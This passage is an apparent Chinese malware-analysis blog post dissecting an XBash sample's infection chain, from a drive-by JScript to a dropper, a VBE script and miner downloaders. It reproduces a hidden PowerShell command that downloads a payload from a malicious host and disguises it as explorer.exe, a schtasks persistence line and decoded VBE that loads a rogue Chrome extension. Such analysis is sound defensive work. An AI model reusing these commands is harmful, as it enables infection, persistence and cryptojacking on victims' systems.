病毒样本下载来源于i春秋一位cq5f7a075d作者的主题帖《XBash系列病毒样本分析报告》,是一个Iron Group组织使用的XBash恶意软件,样本链接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推荐几个比较活跃的样本下载区,如卡饭、i春秋、吾爱、VirusShare等都比较活跃。
✃
✎故事还是要从挂马网站开始,也就是网页下载恶意代码开始分析,如下所示:
图片一:JScript脚本
变量ebc9拖入010中转换成字符串如下所示:
图片二:数组还原
还原Js代码如下所示,图片中给出了还原的代码(已标红):
图片三:代码复原
✍如上述代码,做了以下几件事情:
1、使用了ActiveX控件,注意这个只有IE才支持,因为是微软的。
2、获取了temp的临时路径,拼接了IE浏览器进程名(伪装)。
3、判断是否临时文件是否存在,如果不存在则执powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是远程下载脚本绕过执行策略并隐藏执行窗口,powershell指令执行一般不会杀毒软件被拦截,这样就达成了目的,下载恶意代码并且伪装成explorer.exe。
4、执行下载的恶意代码。
✃
✎关于挂马网站分析完毕,下面就是分析下载下来的恶意代码,如下所示:
图片四:脱壳
如上所示,样本加了一个UPX壳,脱掉修复IAT后样本就被还原了,拉入IDA后如下所示:
图片五:主函数
sub_405920分析如下,先获取了window shell特殊文件夹的标识值,如下所示:
图片六:SHGetSpecialFoladerPathA
继续分析,然后初始化了一段字符串,且求出了字符串大小,流程图如下:
图片七:字符串
其实一开始静态观察猜错了初始化的字符串顺序....,然后动态调试为了验证数据的精准,下面继续调用了函数流程如下,根据字符串初始化进行了获取名称,锁机制设置,如下所示:
图片八:执行流程
根据字符串运算获取了名称,拼接路径如下:
图片九:C:\Program Files\TempBMBD19XS
这里还不算真正开是,只是做了个预热,下面样本开始认真了,如下所示:
图片十:静态分析
如上图所示,获取了运行路径,拼接了chrome.crx,当有路径出现的时候就会有操作,如下所示:
图片十一:chrome.crx
继续分析函数sub_408360,选择了动态调试字符串,因为字符串加密了,所以动态调试分析起来相对轻松一些,内部代码如下所示:
图片十二:sub_408360
分析函数sub_40D0B0的时候,汇编分析时候根据循环规律猜出部分代码(可惜猜错了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函数时候,就明白这是要创建进程快照,也明白了整个函数的意义,如下所示:
图片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍历进程,杀掉chrome进程,如下所示:
图片十四:Kill chrome.exe
如上图所示,经过这一层关系,根据当前分析的情况,chrome.exe(chrome.crx)样本肯定准备这样伪装,继续线性分析,如图十二所示:
1、打开注册表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,请求Path。
2、如果成功拼接路径C:\Programiles\Google\Chrome\Application\chrome.exe
接下来,在路径下创建文件写入数据了,如下所示:
图片十五:_mkdir and write
解压了数据,收尾工作,利用schtasks计划启动释放的程序,如下所示:
图片十六:WinExec
sub_408360光荣的完成他的使命,查杀chrome.exe进程,且创建释放恶意代码,调用WinExec执行释放的文件。
✃
做了这些事情之后还没有结束,到了分水岭,有意思的是判断了运行样本的命令行参数 ,分析如下:
图片十七:分水岭
不相等则跳转,如果相等最终会则执行流程如下图所示:
图片十八:成功
该文章重点分析不跳转情况(真机环境下没有跳转),如下所示:
图片十九:创建且写入恶意代码
如果上面解压chrome.crx那段汇编熟悉的话,你会发现套路是相同:
1、获取文件名称,拼接文件路径。
2、创建及写入恶意代码过程。
3、那么就该执行恶意代码了呗。
我们对比一下写入的数据是或否相同,从而验证是否函数功能的正确性,如下所示:
图片二十:写入恶意数据
请求rundll32.exe执行DllUnInstall,然后创建恶意代码流程如下所示:
图片二十一:执行恶意dll
然后调用了ExitProcess结束了自己的一生,这个被挂马网站下载下来的病毒干了两件事:
1、运行了sec.vbe
2、运行了xxx.dat(名字是随机dll文件)
✃
所以目标也很明确,被运行的两个程序,依次分析,运行时的顺序有时候也是刻意安排的,接下来分析sec.vbe:
看后缀都明白,这是一个VB语言写的病毒,先打开看一看,长什么样,如下图所示:
图片二十二:加密sec.vb
根据风格应该是微软的ScriptEncode编码算法来加密的,所以先尝试一下,不对在换就行了,解密后代码如下:
vb中注释是单引号 '
On Error ReSume Next: ' 这一句vb代码是异常处理,错误时会继续运行,不中断
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):
' set是用于给对象变量赋值 返回ActiveX对象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指关闭指定用户进程
SeT objShell = CreateObjeCt("WScript.Shell"): ' 创建WScript。sehll对象
starT = False:
' 遍历且与关键字对比
FOr Each ObjITem in colItEms:
iF INstr(objitem.CommandLiNe,"silent-launch") > 1 ' vb中变量不区分大小写 字符串区分
thEn start = true:
end if:
NEXt:
' 关闭进程
function Killproc(strProcname):
On ErroR REsume Next:
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
for Each Proccess In aRrpRocessEs:
proccess.Terminate 0: ' terminate是指事件的终止
Next:
ENd FuncTiOn:
If nOT start
then KillprOc("chrome.exe"): ' 杀死进程
Dim Instpath: ' 根据变量类型为变量分配内存空间
INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"): ' 读取注册表
appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"): ' 获取路径 C:\Users\xxx\AppData\Local
chrome_locatIon = AppDataLoCaTion+"\chrome": ' 拼接路径 C:\Users\xxx\AppData\Local\chrome
objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
' --load-extension 每次重启chrome的快捷方式会被替换C:\Users\xxx\AppData\Local\chrome
' --silent-launch 表示不开启chrome,静默安装
' --enable-automation 开启自动化
End if
如何解密呢,在线解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb脚本分析,对于关键的数据出写出详细的注释,这里不一一罗嗦,sec.vbe关闭chrome,然后替换了了Chrome的快捷方式。
至于.dat是一个dll文件,PEID查看后发现加油vmp虚拟壳,对于这个壳,带壳调试的话,过虚拟、过反调试可以动态调试.....这里有兴趣的朋友自行分析,能力有限不能很好的分析该病毒的出步骤,所以这一个比较关键的环节略过......
通过dll执行(也就是上述省略分析的.dll文件),做了那些事情呢?
1、在windows下释放了一段可执行的恶意代码,包含了powershell指令(用于下载挖矿)
2、Linux下释放了.sh的脚本(用于进程查杀及下载挖矿)
其实就是释放了两个下载器,我们分析一下释放的下载器。
✃
Windows下Powershell如下所示:
前置知识:
1、-EncodedCommand 接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。 代码中-E
2、-WindowStyle将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 代码中-W
3、-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件
4、-NonInteractive不向用户显示交互式提示。、
打开.ps1脚本,发现被加密,如下所示:
图片二十三:加密的Powershell指令
根据-E的参数,我们可以先推测使用了Base64进行了整体加密,下面在线Base64解密之后,如下图片所示:
图片二十四:Base64解密
第一次Base64解密后,虽然还有大量的字符不识别,但是露出了关键一些数据,如iex,这就为后续的解密提供了思路,脚本中有IEX关键字了,我们去掉且重定向到新得文件中,尝试解密,解密后数据如下图所示:如下所示:
图片二十五:Base64解密
分析Function DllMiner函数,如下所示:
图片二十六:Function DllMiner
函数内容将数据下载并截获正确得恶意代码写入到文件,命名为tmp.jpg,执行下载得文件,然后把DllMiner函数写入到额tmp.ps1,如下所示:
图片二十七:tmp.ps1
调用了SchTasks.exe执行计划任务,如下所示:
SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /
参数介绍:
1、/Create 创建新计划任务。
2、/TN taskname 指定唯一识别这个计划任务的名称
3、/ST starttime 指定运行任务的开始时间 /SC MINUTE (一分钟)
4、/TR taskrun 指定在这个计划时间运行的程序的路径
5、/MO modifier 改进计划类型以允许更好地控制计划重复
总结:一分钟运行一次tmp.ps1,也就是Function DllMiner函数
下载得其实是挖矿程序,对于挖矿程序得分析不到位,有兴趣得可以分析一下。
补充:
1、电脑不能运行powershell脚本?报错让参考策略修改,修改配置如下图所示:
图片二十八:powershell策略配置
2、Powershell关于IEX混淆解密相关介绍:https://www.codercto.com/a/24286.html
✃
Linux下.sh如下所示:
看看Linux下.sh脚本是如何运行的,如下所示:
图片二十九
一个死循环,两个函数,就是整个脚本的内容,kills函数如下所示:
图片三十
各种kill与pkill,终止其他程序的挖矿进程。然后开始执行downloadyam函数,如下所示:
图片二十一
上述标红是注释,这便是脚本执行的过程,xx.sh总共下载了五个文件:
config.json,bashf,pools.txt,bashg,XbashY
到此两个下载器分析完毕,至于挖矿程序的分析,还是不献丑了........以后有时间学习研究后,再来补上未分析的部分。
未完待续!